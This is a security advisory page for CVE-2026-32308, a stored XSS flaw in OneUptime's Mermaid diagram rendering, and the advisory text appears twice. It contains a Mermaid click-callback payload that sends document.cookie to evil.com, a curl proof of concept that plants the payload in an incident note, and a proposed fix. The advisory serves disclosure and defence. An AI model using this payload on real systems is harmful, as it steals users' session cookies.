Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
7.6
OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")
GHSA-wvh5-6vjm-23qh
CVE-2026-32308
Summary
### Summary
The Markdown viewer component renders Mermaid diagrams with `securityLevel: "loose"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitr...
What to do
- Update oneuptime to version 10.0.23.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | oneuptime | <= 10.0.23 | 10.0.23 |
Original title
OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")
Original description
### Summary
The Markdown viewer component renders Mermaid diagrams with `securityLevel: "loose"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.
### Details
**Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:**
```typescript
// MarkdownViewer.tsx:76
mermaid.initialize({
securityLevel: "loose", // Allows interactive event bindings
// ...
});
```
The Mermaid documentation explicitly warns: `securityLevel: "loose"` allows click events and other interactive bindings in diagrams. The safe default is `"strict"` which strips all interactivity.
**SVG injection via innerHTML — `MarkdownViewer.tsx:106`:**
```typescript
// MarkdownViewer.tsx:106
if (containerRef.current) {
containerRef.current.innerHTML = svg; // Raw SVG injection
}
```
After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: "loose"`, this allows event handlers embedded in the SVG to execute.
**Mermaid XSS payload:**
```markdown
```mermaid
graph TD
A["Click me"]
click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
```
```
With `securityLevel: "loose"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript.
### PoC
```bash
# Authenticate
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password123"}' \
| jq -r '.token')
# Create an incident note with Mermaid XSS payload
curl -s -X POST 'https://TARGET/api/incident-note' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"data": {
"incidentId": "INCIDENT_ID",
"note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```",
"noteType": "RootCause"
}
}'
# Any user viewing this incident note will have their cookies exfiltrated
```
```bash
# Verify the vulnerability in source code:
# 1. securityLevel: "loose":
grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 76: securityLevel: "loose"
# 2. innerHTML injection:
grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 106: containerRef.current.innerHTML = svg
```
### Impact
**Stored XSS in any markdown-rendered field.** Affects:
1. **Incident notes/descriptions** — viewed by on-call engineers during incidents
2. **Status page announcements** — viewed by public visitors
3. **Monitor descriptions** — viewed by team members
4. **Any markdown field** — the MarkdownViewer component is shared across the UI
The "loose" security level combined with `innerHTML` injection allows arbitrary JavaScript execution in the context of the OneUptime application.
### Proposed Fix
```typescript
// 1. Change securityLevel to "strict" (default safe mode):
mermaid.initialize({
securityLevel: "strict", // Strips all interactive bindings
// ...
});
// 2. Use DOMPurify on the SVG output before innerHTML injection:
import DOMPurify from "dompurify";
if (containerRef.current) {
containerRef.current.innerHTML = DOMPurify.sanitize(svg, {
USE_PROFILES: { svg: true, svgFilters: true },
ADD_TAGS: ['foreignObject'],
});
}
```
The Markdown viewer component renders Mermaid diagrams with `securityLevel: "loose"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.
### Details
**Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:**
```typescript
// MarkdownViewer.tsx:76
mermaid.initialize({
securityLevel: "loose", // Allows interactive event bindings
// ...
});
```
The Mermaid documentation explicitly warns: `securityLevel: "loose"` allows click events and other interactive bindings in diagrams. The safe default is `"strict"` which strips all interactivity.
**SVG injection via innerHTML — `MarkdownViewer.tsx:106`:**
```typescript
// MarkdownViewer.tsx:106
if (containerRef.current) {
containerRef.current.innerHTML = svg; // Raw SVG injection
}
```
After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: "loose"`, this allows event handlers embedded in the SVG to execute.
**Mermaid XSS payload:**
```markdown
```mermaid
graph TD
A["Click me"]
click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
```
```
With `securityLevel: "loose"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript.
### PoC
```bash
# Authenticate
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password123"}' \
| jq -r '.token')
# Create an incident note with Mermaid XSS payload
curl -s -X POST 'https://TARGET/api/incident-note' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"data": {
"incidentId": "INCIDENT_ID",
"note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```",
"noteType": "RootCause"
}
}'
# Any user viewing this incident note will have their cookies exfiltrated
```
```bash
# Verify the vulnerability in source code:
# 1. securityLevel: "loose":
grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 76: securityLevel: "loose"
# 2. innerHTML injection:
grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 106: containerRef.current.innerHTML = svg
```
### Impact
**Stored XSS in any markdown-rendered field.** Affects:
1. **Incident notes/descriptions** — viewed by on-call engineers during incidents
2. **Status page announcements** — viewed by public visitors
3. **Monitor descriptions** — viewed by team members
4. **Any markdown field** — the MarkdownViewer component is shared across the UI
The "loose" security level combined with `innerHTML` injection allows arbitrary JavaScript execution in the context of the OneUptime application.
### Proposed Fix
```typescript
// 1. Change securityLevel to "strict" (default safe mode):
mermaid.initialize({
securityLevel: "strict", // Strips all interactive bindings
// ...
});
// 2. Use DOMPurify on the SVG output before innerHTML injection:
import DOMPurify from "dompurify";
if (containerRef.current) {
containerRef.current.innerHTML = DOMPurify.sanitize(svg, {
USE_PROFILES: { svg: true, svgFilters: true },
ADD_TAGS: ['foreignObject'],
});
}
```
ghsa CVSS3.1
7.6
Vulnerability type
CWE-79
Cross-site Scripting (XSS)
Published: 13 Mar 2026 · Updated: 14 Mar 2026 · First seen: 13 Mar 2026